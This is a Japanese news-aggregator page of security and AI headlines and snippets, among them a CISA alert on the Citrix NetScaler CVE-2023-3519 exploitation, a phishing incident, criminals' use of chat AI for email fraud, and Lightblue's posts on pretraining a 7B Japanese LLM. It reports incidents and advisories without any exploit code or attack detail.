印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 米国土安全保障省のサイバーセキュリティ・インフラセキュリティ庁（CISA）は現地時間7月20日、Citrix Systemsのネットワーク製品に存在する脆弱（ぜいじゃく）性を悪用したサイバー攻撃を確認したとして警戒情報を発令した。脆弱性の修正パッチもしくは悪用回避策を早急に適用するよう呼びかけている。 Citrixによると、アプリケーション配信制御（ADC）製品の「NetScaler ADC」（旧称Citrix ADC）と、SSL VPN製品の「NetScaler Gateway」（同Citrix Gateway）には、認証されていない第三者による遠隔からの任意のコード実行（CVE-2023-3519）と、リフレクテッドクロスサイトスク
G.Oホールディングスのメールアカウントに不正アクセス、PayPay銀行を装ったフィッシングメールを送信 | ScanNetSecurity
株式会社G.Oホールディングスは7月4日、同社メールアカウントへの不正アクセスについて発表した。 これは6月21日に、同社管理のメールアカウント2件に不正アクセスがあり、大量のフィッシングメールを送信したというもの。6月22日に同社管理のメールアドレスからPayPay銀行を装ったフィッシングメールを受信したとの連絡があり、発覚した。
サイバー犯罪者がチャットAIをビジネスメール詐欺に活用している
ChatGPTのようなチャットAIは、入力されたプロンプトに対応してまるで人間が書いたかのようなテキストを生成します。サイバー犯罪者は、こうした技術を利用することで、受信者に合わせてカスタマイズした説得力の高い偽メールを作成し、ビジネスメール詐欺(BEC)攻撃の成功率を高めているそうです。 WormGPT - The Generative AI Tool Cybercriminals Are Using to Launch BEC Attacks | SlashNext https://slashnext.com/blog/wormgpt-the-generative-ai-tool-cybercriminals-are-using-to-launch-business-email-compromise-attacks/ セキュリティ企業・SlashNextによると、サイバー犯罪者らは母国
Chromeの深刻なバグ、Apple従業員が発見していたが報告せず - iPhone Mania
Googleが提供するWebブラウザ「Chrome」の脆弱性について、Appleの従業員が問題を認識していたにもかかわらず、何らかの理由で報告を見合わせていたことが分かりました。このバグはすでに修正されています。 ■3行で分かる、この記事のポイント 1. Chromeに重大な脆弱性が存在していた。 2. Appleの従業員が発見したが報告せず、代わりに別の人物が報告した。 3. バグはすでに対処済。 報奨金は別の人物が受け取った Googleの従業員が開発者向けのWebフォーラム（Chromium）で明かしたところによると、問題となったChromeのバグは、2022年に開催されたハッキング大会（HXP CTF 2022）にチームで参加していた、Appleのセキュリティエンジニアが発見したそうです。 しかし何らかの理由によって、COPYと名乗るこのチームは報告を見合わせていたことが判明しまし
四畳半のオフィスで70億パラメータのLLMを事前学習した話｜Lightblue
はじめにこんにちは、Lightblueの樋口です。 大規模言語モデル(LLM)は大変注目を集めていますが、日本語で事前学習された公開モデルは限定的です。LLMの事前学習は大きなコストがかかるとされており、公開されているモデルは海外のビッグテックが中心で、国内では2件しか例がありません。 ■サイバーエージェント OpenCALM GPT (small, medium, large, 1.4b, 2.7b, 6.8b) 日本語 Wikipedia + Jpanese mC4+ Japanese CC-100 ■rinna rinna GPT GPT (xsmall, small, medium, 1b, neox-small, neox-3.6b) 日本語 Wikipedia + Japanese CC-100 (1b 以降のモデルではさらに Japanese mC4 を追加) その他、日本語
LLM開発のために200万円以上無駄にしたエンジニアの話｜sonodaatom
はじめにこんにちは、Lightblueの園田です。 四畳半のオフィスで70億パラメータのLLMを事前学習した話ではエンジニアの樋口さんがlightblue/japanese-mpt-7bの開発・性能評価について報告しました。 本記事では、四畳半のオフィスで70億パラメータのLLMを事前学習した話で語りきれなかったしくじりも含めた開発裏話について紹介します。 LLM開発に必要なリソース一般的に、LLMの開発にはA100やH100といった最新の高性能のGPUが使われます。 本日公開されたLlama2の70Bモデルでは、A100を1,720,320時間分利用し学習されています。 このようなリソースはGPUボードの費用だけでなく、電気代も高額になることから、LLMの開発には資本力が必要とされています。 H100はパブリッククラウドでほとんど提供されていないことから、LightblueでもA100を
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
【画像生成AI】Stable Diffusionを無料で簡単に使えるWEBブラウザを解説| Prebell
エーアイセキュリティラボ、自然言語で脆弱性診断の設定が可能なプロトタイプ開発 特許申請 | ScanNetSecurity
Linux における udmabuf ドライバでの入力値検証不備に起因する境界外メモリアクセスの脆弱性（Scan Tech Report） | ScanNetSecurity
【セキュリティ ニュース】「Node.js」にセキュリティアップデート - 外部プログラムの更新も反映（1ページ目 / 全1ページ）：Security NEXT
【セキュリティ ニュース】「PHP-IMAP」の添付ファイル保存処理にRCE脆弱性（1ページ目 / 全1ページ）：Security NEXT
Microsoft Excel のリモートコード実行の脆弱性が 2 件公開 - Cisco Japan Blog
【セキュリティ ニュース】「VMware vCenter Server」に5件の脆弱性 - アップデートを公開（1ページ目 / 全2ページ）：Security NEXT
【セキュリティ ニュース】米政府、脆弱性6件の悪用について注意喚起（1ページ目 / 全1ページ）：Security NEXT
ISC BINDに複数の脆弱性 | ScanNetSecurity
脆弱性診断自動化ツール「AeyeScan」アップデート、スキャン結果ダウンロードAPIで「スキャンルールID（脆弱性ID）」が取得可能に | ScanNetSecurity
【セキュリティ ニュース】Zyxel製NAS製品にリモートからコマンド実行できる脆弱性 - 悪用も（1ページ目 / 全1ページ）：Security NEXT
【セキュリティ ニュース】米政府、脆弱性5件の悪用に対して注意を喚起（1ページ目 / 全2ページ）：Security NEXT
【海外ITトピックス】 「対話して操る」 AIチャットボットの脆弱性
エムオーテックス、Webアプリ／ネットワーク／Microsoft 365の「ここだけは押さえておくべき」脆弱性を診断する「セキュリティ健康診断パッケージ」を提供
IIJ、Web APIへの攻撃を防御するセキュリティサービス「IIJ Safous WAAP」を海外向けに提供
【セキュリティ ニュース】NVIDIA GPUディスプレイドライバに脆弱性 - アップデートが公開（1ページ目 / 全1ページ）：Security NEXT
JVN#38343415: NEC Aterm シリーズにおける複数の脆弱性
TIS、クラウドセキュリティポスチャ管理「Tenable Cloud Security」の活用支援サービスを提供
【セキュリティ ニュース】「NVIDIA Jetson」にセキュリティアップデート - 脆弱性2件に対応（1ページ目 / 全1ページ）：Security NEXT
【セキュリティ ニュース】「Cloudflare WARP」のWindowsクライアントに脆弱性（1ページ目 / 全1ページ）：Security NEXT
WordPress 用プラグイン Snow Monkey Forms にディレクトリトラバーサルの脆弱性 | ScanNetSecurity
NEC Aterm WG2200HP に複数の脆弱性 | ScanNetSecurity
アクロニス「医療機関のサイバーセキュリティにおける脆弱性トップ7」を公開 | ScanNetSecurity
マクニカ、AIを活用して既知の脆弱性を悪用する攻撃を迅速に発見する 「Vectra Match」を日本国内で販売開始
【セキュリティ ニュース】CiscoのWindows向けクライアントに脆弱性 - エクスプロイトコードも（1ページ目 / 全1ページ）：Security NEXT
マクニカ、既知の脆弱性を悪用する攻撃の検知ソリューション「Vectra Match」を販売
【セキュリティ ニュース】アクセス制御製品「FortiNAC」に深刻な脆弱性 - アップデートで修正（1ページ目 / 全1ページ）：Security NEXT
【セキュリティ ニュース】OSSの認証プラットフォーム「Fief」に「SSTI」の脆弱性（1ページ目 / 全1ページ）：Security NEXT
サイバーセキュリティクラウド、脆弱性情報収集・管理ツールのMSP事業者向け新プラン「SIDfm VM for MSP」を提供
【セキュリティ ニュース】インテリア雑貨の通販サイトに不正アクセス - 情報流出の可能性（1ページ目 / 全1ページ）：Security NEXT
国立病院機構での患者情報の漏えいについて個人情報保護委員会が行政指導 | ScanNetSecurity
【セキュリティ ニュース】「Citrix ADC」に対するゼロデイ攻撃の手口を明らかに - 米当局（1ページ目 / 全1ページ）：Security NEXT
pluszeroとアップセルテクノロジィーズ、AIオペレータとデジタルヒューマンを開発へ
【セキュリティ ニュース】加子会社でもサイバー攻撃被害、犯人による脅迫も - ヤマハ（1ページ目 / 全2ページ）：Security NEXT
NTTファイナンスかたる詐欺、自動音声の架空請求に注意
エーアイセキュリティラボ、Webアプリ診断自動化ツール「AeyeScan」のAPIスキャンオプションを強化